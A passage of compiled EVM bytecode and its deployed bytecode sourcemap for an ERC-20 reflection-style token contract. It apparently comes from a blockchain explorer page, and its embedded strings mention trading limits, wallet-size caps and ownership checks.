ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f9185600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121df90919063ffffffff16565b600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fdd8161223d565b611fe784836122fa565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161204491906124e6565b60405180910390a3505050505050505050565b601254600b81905550601354601181905550565b600080600060105490506000670de0b6b3a7640000905061209f670de0b6b3a7640000601054611e0590919063ffffffff16565b8210156120bd57601054670de0b6b3a76400009350935050506120c6565b81819350935050505b9091565b60008083118290612111576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121089190612591565b60405180910390fd5b506000838561212091906132ad565b9050809150509392505050565b600080600080600080600080600061214a8a600b54601154612334565b925092509250600061215a611dda565b9050600080600061216d8e8787876123ca565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006121d783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611970565b905092915050565b60008082846121ee9190612f2e565b905083811015612233576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222a9061332a565b60405180910390fd5b8091505092915050565b6000612247611dda565b9050600061225e828461245390919063ffffffff16565b90506122b281600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121df90919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61230f8260105461219590919063ffffffff16565b60108190555061232a816007546121df90919063ffffffff16565b6007819055505050565b6000806000806123606064612352888a61245390919063ffffffff16565b611e0590919063ffffffff16565b9050600061238a606461237c888b61245390919063ffffffff16565b611e0590919063ffffffff16565b905060006123b3826123a5858c61219590919063ffffffff16565b61219590919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806123e3858961245390919063ffffffff16565b905060006123fa868961245390919063ffffffff16565b90506000612411878961245390919063ffffffff16565b9050600061243a8261242c858761219590919063ffffffff16565b61219590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080830361246557600090506124c7565b60008284612473919061334a565b905082848261248291906132ad565b146124c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b9906133fe565b60405180910390fd5b809150505b92915050565b6000819050919050565b6124e0816124cd565b82525050565b60006020820190506124fb60008301846124d7565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561253b578082015181840152602081019050612520565b60008484015250505050565b6000601f19601f8301169050919050565b600061256382612501565b61256d818561250c565b935061257d81856020860161251d565b61258681612547565b840191505092915050565b600060208201905081810360008301526125ab8184612558565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006125e8826125bd565b9050919050565b6125f8816125dd565b811461260357600080fd5b50565b600081359050612615816125ef565b92915050565b612624816124cd565b811461262f57600080fd5b50565b6000813590506126418161261b565b92915050565b6000806040838503121561265e5761265d6125b3565b5b600061266c85828601612606565b925050602061267d85828601612632565b9150509250929050565b60008115159050919050565b61269c81612687565b82525050565b60006020820190506126b76000830184612693565b92915050565b6000819050919050565b60006126e26126dd6126d8846125bd565b6126bd565b6125bd565b9050919050565b60006126f4826126c7565b9050919050565b6000612706826126e9565b9050919050565b612716816126fb565b82525050565b6000602082019050612731600083018461270d565b92915050565b6000806000606084860312156127505761274f6125b3565b5b600061275e86828701612606565b935050602061276f86828701612606565b925050604061278086828701612632565b9150509250925092565b600060ff82169050919050565b6127a08161278a565b82525050565b60006020820190506127bb6000830184612797565b92915050565b6000602082840312156127d7576127d66125b3565b5b60006127e584828501612606565b91505092915050565b6127f7816125dd565b82525050565b600060208201905061281260008301846127ee565b92915050565b60006020828403121561282e5761282d6125b3565b5b600061283c84828501612632565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261286a57612869612845565b5b8235905067ffffffffffffffff8111156128875761288661284a565b5b6020830191508360208202830111156128a3576128a261284f565b5b9250929050565b6128b381612687565b81146128be57600080fd5b50565b6000813590506128d0816128aa565b92915050565b6000806000604084860312156128ef576128ee6125b3565b5b600084013567ffffffffffffffff81111561290d5761290c6125b8565b5b61291986828701612854565b9350935050602061292c868287016128c1565b9150509250925092565b6000612941826125bd565b9050919050565b61295181612936565b82525050565b600060208201905061296c6000830184612948565b92915050565b60008060408385031215612989576129886125b3565b5b600061299785828601612606565b92505060206129a885828601612606565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006129e860208361250c565b91506129f3826129b2565b602082019050919050565b60006020820190508181036000830152612a17816129db565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612a87826124cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612ab957612ab8612a4d565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612b2060268361250c565b9150612b2b82612ac4565b604082019050919050565b60006020820190508181036000830152612b4f81612b13565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612bb260248361250c565b9150612bbd82612b56565b604082019050919050565b60006020820190508181036000830152612be181612ba5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612c4460228361250c565b9150612c4f82612be8565b604082019050919050565b60006020820190508181036000830152612c7381612c37565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612cd660258361250c565b9150612ce182612c7a565b604082019050919050565b60006020820190508181036000830152612d0581612cc9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612d6860238361250c565b9150612d7382612d0c565b604082019050919050565b60006020820190508181036000830152612d9781612d5b565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612dfa60298361250c565b9150612e0582612d9e565b604082019050919050565b60006020820190508181036000830152612e2981612ded565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000612e8c603f8361250c565b9150612e9782612e30565b604082019050919050565b60006020820190508181036000830152612ebb81612e7f565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000612ef8601c8361250c565b9150612f0382612ec2565b602082019050919050565b60006020820190508181036000830152612f2781612eeb565b9050919050565b6000612f39826124cd565b9150612f44836124cd565b9250828201905080821115612f5c57612f5b612a4d565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000612fbe60238361250c565b9150612fc982612f62565b604082019050919050565b60006020820190508181036000830152612fed81612fb1565b9050919050565b6000612fff826124cd565b915061300a836124cd565b925082820390508181111561302257613021612a4d565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613084602a8361250c565b915061308f82613028565b604082019050919050565b600060208201905081810360008301526130b381613077565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506130f8816125ef565b92915050565b600060208284031215613114576131136125b3565b5b6000613122848285016130e9565b91505092915050565b6000819050919050565b600061315061314b6131468461312b565b6126bd565b6124cd565b9050919050565b61316081613135565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61319b816125dd565b82525050565b60006131ad8383613192565b60208301905092915050565b6000602082019050919050565b60006131d182613166565b6131db8185613171565b93506131e683613182565b8060005b838110156132175781516131fe88826131a1565b9750613209836131b9565b9250506001810190506131ea565b5085935050505092915050565b600060a08201905061323960008301886124d7565b6132466020830187613157565b818103604083015261325881866131c6565b905061326760608301856127ee565b61327460808301846124d7565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006132b8826124cd565b91506132c3836124cd565b9250826132d3576132d261327e565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613314601b8361250c565b915061331f826132de565b602082019050919050565b6000602082019050818103600083015261334381613307565b9050919050565b6000613355826124cd565b9150613360836124cd565b925082820261336e816124cd565b9150828204841483151761338557613384612a4d565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006133e860218361250c565b91506133f38261338c565b604082019050919050565b60006020820190508181036000830152613417816133db565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206ac609e46fbacea526f9c35faf6a8c43bf17e90f151ac1c53c4d44c722397b3864736f6c63430008120033

Deployed Bytecode Sourcemap

4427:12228:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5165:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5306:49;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6523:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7448:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4512:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6946:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7649:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12089:137;;;;;;;;;;;;;:::i;:::-;;6709:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4164:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5235:58;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5888:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12516:132;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10269:122;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6800:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12234:230;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11697:86;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4079:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6614:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11790:84;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7241:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7049:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3829:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5165:57;;;;:::o;5306:49::-;;;;:::o;6523:83::-;6560:13;6593:5;;;;;;;;;;;;;;;;;6586:12;;6523:83;:::o;7448:193::-;7550:4;7572:39;7581:12;:10;:12::i;:::-;7595:7;7604:6;7572:8;:39::i;:::-;7629:4;7622:11;;7448:193;;;;:::o;4512:41::-;;;;;;;;;;;;;:::o;6946:95::-;6999:7;5397:11;7019:14;;6946:95;:::o;7649:446::-;7781:4;7798:36;7808:6;7816:9;7827:6;7798:9;:36::i;:::-;7845:220;7868:6;7889:12;:10;:12::i;:::-;7916:138;7972:6;7916:138;;;;;;;;;;;;;;;;;:11;:19;7928:6;7916:19;;;;;;;;;;;;;;;:33;7936:12;:10;:12::i;:::-;7916:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;7845:8;:220::i;:::-;8083:4;8076:11;;7649:446;;;;;:::o;12089:137::-;3677:12;:10;:12::i;:::-;3667:22;;:6;;;;;;;;;;:22;;;3659:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5397:11:::1;12146:20;:30;;;;5397:11;12187:21;:31;;;;12089:137::o:0;6709:83::-;6750:5;5880:1;6768:16;;6709:83;:::o;4164:256::-;3677:12;:10;:12::i;:::-;3667:22;;:6;;;;;;;;;;:22;;;3659:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4240:21:::1;4264:3;4240:27;;4320:1;4283:40;;4304:6;::::0;::::1;;;;;;;;4283:40;;;;;;;;;;;;4380:1;4371:11;4334;:26;4346:13;4334:26;;;;;;;;;;;;;;;:34;4361:6:::0;::::1;;;;;;;;;;4334:34;;;;;;;;;;;;;;;:48;;;;4410:1;4393:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;4229:191;4164:256:::0;:::o;5235:58::-;;;;:::o;5888:27::-;;;;;;;;;;;;;:::o;12516:132::-;3677:12;:10;:12::i;:::-;3667:22;;:6;;;;;;;;;;:22;;;3659:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12622:18:::1;12603:16;:37;;;;12516:132:::0;:::o;10269:122::-;3677:12;:10;:12::i;:::-;3667:22;;:6;;;;;;;;;;:22;;;3659:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10348:4:::1;10333:12;;:19;;;;;;;;;;;;;;;;;;10378:5;10363:12;;:20;;;;;;;;;;;;;;;;;;10269:122:::0;:::o;6800:138::-;6866:7;6893:37;6913:7;:16;6921:7;6913:16;;;;;;;;;;;;;;;;6893:19;:37::i;:::-;6886:44;;6800:138;;;:::o;12234:230::-;3677:12;:10;:12::i;:::-;3667:22;;:6;;;;;;;;;;:22;;;3659:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12347:9:::1;12343:114;12366:8;;:15;;12362:1;:19;12343:114;;;12437:8;12403:18;:31;12422:8;;12431:1;12422:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12403:31;;;;;;;;;;;;;;;;:42;;;;;;;;;;;;;;;;;;12383:3;;;;;:::i;:::-;;;;12343:114;;;;12234:230:::0;;;:::o;11697:86::-;;;;;;;;;;;;;:::o;4079:79::-;4117:7;4144:6;;;;;;;;;;;4137:13;;4079:79;:::o;6614:87::-;6653:13;6686:7;;;;;;;;;;;;;;;;;6679:14;;6614:87;:::o;11790:84::-;;;;;;;;;;;;;:::o;7241:199::-;7346:4;7368:42;7378:12;:10;:12::i;:::-;7392:9;7403:6;7368:9;:42::i;:::-;7428:4;7421:11;;7241:199;;;;:::o;7049:184::-;7166:7;7198:11;:18;7210:5;7198:18;;;;;;;;;;;;;;;:27;7217:7;7198:27;;;;;;;;;;;;;;;;7191:34;;7049:184;;;;:::o;3829:244::-;3677:12;:10;:12::i;:::-;3667:22;;:6;;;;;;;;;;:22;;;3659:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3938:1:::1;3918:22;;:8;:22;;::::0;3910:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;4028:8;3999:38;;4020:6;::::0;::::1;;;;;;;;3999:38;;;;;;;;;;;;4057:8;4048:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;3829:244:::0;:::o;1680:98::-;1733:7;1760:10;1753:17;;1680:98;:::o;8103:369::-;8247:1;8230:19;;:5;:19;;;8222:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8328:1;8309:21;;:7;:21;;;8301:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8410:6;8380:11;:18;8392:5;8380:18;;;;;;;;;;;;;;;:27;8399:7;8380:27;;;;;;;;;;;;;;;:36;;;;8448:7;8432:32;;8441:5;8432:32;;;8457:6;8432:32;;;;;;:::i;:::-;;;;;;;;8103:369;;;:::o;12656:2377::-;12794:1;12778:18;;:4;:18;;;12770:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12871:1;12857:16;;:2;:16;;;12849:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;12941:1;12932:6;:10;12924:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;13027:7;:5;:7::i;:::-;13019:15;;:4;:15;;;;:32;;;;;13044:7;:5;:7::i;:::-;13038:13;;:2;:13;;;;13019:32;13001:1354;;;13116:12;;;;;;;;;;;13111:207;;13187:7;:5;:7::i;:::-;13179:15;;:4;:15;;;13149:153;;;;;;;;;;;;:::i;:::-;;;;;;;;;13111:207;13370:20;;13360:6;:30;;13334:120;;;;;;;;;;;;:::i;:::-;;;;;;;;;13492:12;;;;;;;;;;;13486:18;;:2;:18;;;13483:170;;13558:21;;13549:6;13533:13;13543:2;13533:9;:13::i;:::-;:22;;;;:::i;:::-;:46;13525:112;;;;;;;;;;;;:::i;:::-;;;;;;;;;13483:170;13669:29;13701:24;13719:4;13701:9;:24::i;:::-;13669:56;;13752:12;13792:16;;13767:21;:41;;13752:56;;13851:20;;13826:21;:45;13823:94;;13897:20;;13873:44;;13823:94;13936:7;:39;;;;;13966:9;;;;;;;;;;;13965:10;13936:39;:81;;;;;14005:12;;;;;;;;;;;13997:20;;:4;:20;;;;13936:81;:115;;;;;14039:12;;;;;;;;;;;13936:115;:160;;;;;14074:18;:22;14093:2;14074:22;;;;;;;;;;;;;;;;;;;;;;;;;14073:23;13936:160;:207;;;;;14119:18;:24;14138:4;14119:24;;;;;;;;;;;;;;;;;;;;;;;;;14118:25;13936:207;13932:412;;;14178:31;14187:21;14178:8;:31::i;:::-;14228:18;14249:21;14228:42;;14306:1;14293:10;:14;14289:39;;;14309:19;14317:10;14309:7;:19::i;:::-;14289:39;14159:185;13932:412;13063:1292;;13001:1354;14365:12;14380:4;14365:19;;14400:18;:24;14419:4;14400:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;14428:18;:22;14447:2;14428:22;;;;;;;;;;;;;;;;;;;;;;;;;14400:50;14399:100;;;;14464:12;;;;;;;;;;;14456:20;;:4;:20;;;;:42;;;;;14486:12;;;;;;;;;;;14480:18;;:2;:18;;;;14456:42;14399:100;14395:570;;;14526:5;14516:15;;14395:570;;;14584:12;;;;;;;;;;;14576:20;;:4;:20;;;:54;;;;;14614:15;;;;;;;;;;;14600:30;;:2;:30;;;;14576:54;14573:175;;;14664:16;;14651:10;:29;;;;14719:13;;14699:17;:33;;;;14573:175;14786:12;;;;;;;;;;;14780:18;;:2;:18;;;:54;;;;;14818:15;;;;;;;;;;;14802:32;;:4;:32;;;;14780:54;14776:178;;;14868:17;;14855:10;:30;;;;14924:14;;14904:17;:34;;;;14776:178;14395:570;14975:50;14999:4;15005:2;15009:6;15017:7;14975:23;:50::i;:::-;12759:2274;12656:2377;;;:::o;649:224::-;769:7;802:1;797;:6;;805:12;789:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;829:9;845:1;841;:5;;;;:::i;:::-;829:17;;864:1;857:8;;;649:224;;;;;:::o;9938:323::-;10033:7;10091;;10080;:18;;10058:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;10179:19;10201:10;:8;:10::i;:::-;10179:32;;10229:24;10241:11;10229:7;:11;;:24;;;;:::i;:::-;10222:31;;;9938:323;;;:::o;15041:445::-;5971:4;5959:9;;:16;;;;;;;;;;;;;;;;;;15110:21:::1;15148:1;15134:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15110:40;;15179:4;15161;15166:1;15161:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;15205:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15195:4;15200:1;15195:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;15238:62;15255:4;15270:15;;;;;;;;;;;15288:11;15238:8;:62::i;:::-;15311:15;;;;;;;;;;;:37;;;15363:11;15389:1;15405:4;15432;15452:15;15311:167;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;15099:387;6010:5:::0;5998:9;;:17;;;;;;;;;;;;;;;;;;15041:445;:::o;11509:180::-;11561:18;11591:1;11582:6;:10;;;;:::i;:::-;11561:31;;11603:9;;;;;;;;;;;:18;;:30;11622:10;11603:30;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11644:7;;;;;;;;;;;:16;;:37;11670:10;11661:6;:19;;;;:::i;:::-;11644:37;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11550:139;11509:180;:::o;16303:349::-;16467:6;16462:51;;16490:11;:9;:11::i;:::-;16462:51;16523:47;16544:6;16552:9;16563:6;16523:20;:47::i;:::-;16586:6;16581:64;;16621:12;:10;:12::i;:::-;16581:64;16303:349;;;;:::o;9026:164::-;9068:7;9089:15;9106;9125:19;:17;:19::i;:::-;9088:56;;;;9162:20;9174:7;9162;:11;;:20;;;;:::i;:::-;9155:27;;;;9026:164;:::o;1508:132::-;1566:7;1593:39;1597:1;1600;1593:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1586:46;;1508:132;;;;:::o;10622:241::-;10680:1;10666:10;;:15;:41;;;;;10706:1;10685:17;;:22;10666:41;10709:7;10662:54;10750:10;;10726:21;:34;;;;10790:17;;10771:16;:36;;;;10822:1;10809:10;:14;;;;10854:1;10834:17;:21;;;;10622:241;:::o;15541:612::-;15691:15;15721:23;15759:12;15786:23;15824:12;15851:13;15878:19;15889:7;15878:10;:19::i;:::-;15676:221;;;;;;;;;;;;15926:28;15946:7;15926;:15;15934:6;15926:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;15908:7;:15;15916:6;15908:15;;;;;;;;;;;;;;;:46;;;;15986:39;16009:15;15986:7;:18;15994:9;15986:18;;;;;;;;;;;;;;;;:22;;:39;;;;:::i;:::-;15965:7;:18;15973:9;15965:18;;;;;;;;;;;;;;;:60;;;;16036:18;16048:5;16036:11;:18::i;:::-;16056:29;16074:4;16080;16056:17;:29::i;:::-;16118:9;16101:44;;16110:6;16101:44;;;16129:15;16101:44;;;;;;:::i;:::-;;;;;;;;15665:488;;;;;;15541:612;;;:::o;16161:130::-;16215:21;;16202:10;:34;;;;16267:16;;16247:17;:36;;;;16161:130::o;9198:257::-;9249:7;9258;9278:15;9296:7;;9278:25;;9314:15;5397:11;9314:25;;9364:20;5397:11;9364:7;;:11;;:20;;;;:::i;:::-;9354:7;:30;9350:61;;;9394:7;;5397:11;9386:25;;;;;;;;9350:61;9430:7;9439;9422:25;;;;;;9198:257;;;:::o;1275:223::-;1395:7;1427:1;1423;:5;1430:12;1415:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1454:9;1470:1;1466;:5;;;;:::i;:::-;1454:17;;1489:1;1482:8;;;1275:223;;;;;:::o;10871:626::-;10971:7;10993;11015;11037;11059;11081;11117:23;11142:12;11156:13;11186:51;11198:7;11207:10;;11219:17;;11186:11;:51::i;:::-;11116:121;;;;;;11248:19;11270:10;:8;:10::i;:::-;11248:32;;11292:15;11309:23;11334:12;11363:46;11375:7;11384:4;11390:5;11397:11;11363;:46::i;:::-;11291:118;;;;;;11428:7;11437:15;11454:4;11460:15;11477:4;11483:5;11420:69;;;;;;;;;;;;;;;;;;;10871:626;;;;;;;:::o;1133:136::-;1191:7;1218:43;1222:1;1225;1218:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1211:50;;1133:136;;;;:::o;464:179::-;522:7;542:9;558:1;554;:5;;;;:::i;:::-;542:17;;583:1;578;:6;;570:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;634:1;627:8;;;464:179;;;;:::o;10399:213::-;10454:19;10476:10;:8;:10::i;:::-;10454:32;;10497:13;10513:22;10523:11;10513:5;:9;;:22;;;;:::i;:::-;10497:38;;10571:33;10598:5;10571:7;:22;10587:4;10571:22;;;;;;;;;;;;;;;;:26;;:33;;;;:::i;:::-;10546:7;:22;10562:4;10546:22;;;;;;;;;;;;;;;:58;;;;10443:169;;10399:213;:::o;11883:163::-;11967:17;11979:4;11967:7;;:11;;:17;;;;:::i;:::-;11957:7;:27;;;;12013:25;12033:4;12013:15;;:19;;:25;;;;:::i;:::-;11995:15;:43;;;;11883:163;;:::o;9463:467::-;9631:7;9653;9675;9710:12;9725:29;9750:3;9725:20;9737:7;9725;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;9710:44;;9765:13;9781:28;9805:3;9781:19;9793:6;9781:7;:11;;:19;;;;:::i;:::-;:23;;:28;;;;:::i;:::-;9765:44;;9820:23;9846:28;9868:5;9846:17;9858:4;9846:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;9820:54;;9893:15;9910:4;9916:5;9885:37;;;;;;;;;9463:467;;;;;;;:::o;8484:534::-;8678:7;8700;8722;8757:15;8775:24;8787:11;8775:7;:11;;:24;;;;:::i;:::-;8757:42;;8810:12;8825:21;8834:11;8825:4;:8;;:21;;;;:::i;:::-;8810:36;;8857:13;8873:22;8883:11;8873:5;:9;;:22;;;;:::i;:::-;8857:38;;8906:23;8932:28;8954:5;8932:17;8944:4;8932:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;8906:54;;8979:7;8988:15;9005:4;8971:39;;;;;;;;;;8484:534;;;;;;;;:::o;881:246::-;939:7;968:1;963;:6;959:47;;993:1;986:8;;;;959:47;1016:9;1032:1;1028;:5;;;;:::i;:::-;1016:17;;1061:1;1056;1052;:5;;;;:::i;:::-;:10;1044:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1118:1;1111:8;;;881:246;;;;;:::o;7:77:1:-;44:7;73:5;62:16;;7:77;;;:::o;90:118::-;177:24;195:5;177:24;:::i;:::-;172:3;165:37;90:118;;:::o;214:222::-;307:4;345:2;334:9;330:18;322:26;;358:71;426:1;415:9;411:17;402:6;358:71;:::i;:::-;214:222;;;;:::o;442:99::-;494:6;528:5;522:12;512:22;;442:99;;;:::o;547:169::-;631:11;665:6;660:3;653:19;705:4;700:3;696:14;681:29;;547:169;;;;:::o;722:246::-;803:1;813:113;827:6;824:1;821:13;813:113;;;912:1;907:3;903:11;897:18;893:1;888:3;884:11;877:39;849:2;846:1;842:10;837:15;;813:113;;;960:1;951:6;946:3;942:16;935:27;784:184;722:246;;;:::o;974:102::-;1015:6;1066:2;1062:7;1057:2;1050:5;1046:14;1042:28;1032:38;;974:102;;;:::o;1082:377::-;1170:3;1198:39;1231:5;1198:39;:::i;:::-;1253:71;1317:6;1312:3;1253:71;:::i;:::-;1246:78;;1333:65;1391:6;1386:3;1379:4;1372:5;1368:16;1333:65;:::i;:::-;1423:29;1445:6;1423:29;:::i;:::-;1418:3;1414:39;1407:46;;1174:285;1082:377;;;;:::o;1465:313::-;1578:4;1616:2;1605:9;1601:18;1593:26;;1665:9;1659:4;1655:20;1651:1;1640:9;1636:17;1629:47;1693:78;1766:4;1757:6;1693:78;:::i;:::-;1685:86;;1465:313;;;;:::o;1865:117::-;1974:1;1971;1964:12;1988:117;2097:1;2094;2087:12;2111:126;2148:7;2188:42;2181:5;2177:54;2166:65;;2111:126;;;:::o;2243:96::-;2280:7;2309:24;2327:5;2309:24;:::i;:::-;2298:35;;2243:96;;;:::o;2345:122::-;2418:24;2436:5;2418:24;:::i;:::-;2411:5;2408:35;2398:63;;2457:1;2454;2447:12;2398:63;2345:122;:::o;2473:139::-;2519:5;2557:6;2544:20;2535:29;;2573:33;2600:5;2573:33;:::i;:::-;2473:139;;;;:::o;2618:122::-;2691:24;2709:5;2691:24;:::i;:::-;2684:5;2681:35;2671:63;;2730:1;2727;2720:12;2671:63;2618:122;:::o;2746:139::-;2792:5;2830:6;2817:20;2808:29;;2846:33;2873:5;2846:33;:::i;:::-;2746:139;;;;:::o;2891:474::-;2959:6;2967;3016:2;3004:9;2995:7;2991:23;2987:32;2984:119;;;3022:79;;:::i;:::-;2984:119;3142:1;3167:53;3212:7;3203:6;3192:9;3188:22;3167:53;:::i;:::-;3157:63;;3113:117;3269:2;3295:53;3340:7;3331:6;3320:9;3316:22;3295:53;:::i;:::-;3285:63;;3240:118;2891:474;;;;;:::o;3371:90::-;3405:7;3448:5;3441:13;3434:21;3423:32;;3371:90;;;:::o;3467:109::-;3548:21;3563:5;3548:21;:::i;:::-;3543:3;3536:34;3467:109;;:::o;3582:210::-;3669:4;3707:2;3696:9;3692:18;3684:26;;3720:65;3782:1;3771:9;3767:17;3758:6;3720:65;:::i;:::-;3582:210;;;;:::o;3798:60::-;3826:3;3847:5;3840:12;;3798:60;;;:::o;3864:142::-;3914:9;3947:53;3965:34;3974:24;3992:5;3974:24;:::i;:::-;3965:34;:::i;:::-;3947:53;:::i;:::-;3934:66;;3864:142;;;:::o;4012:126::-;4062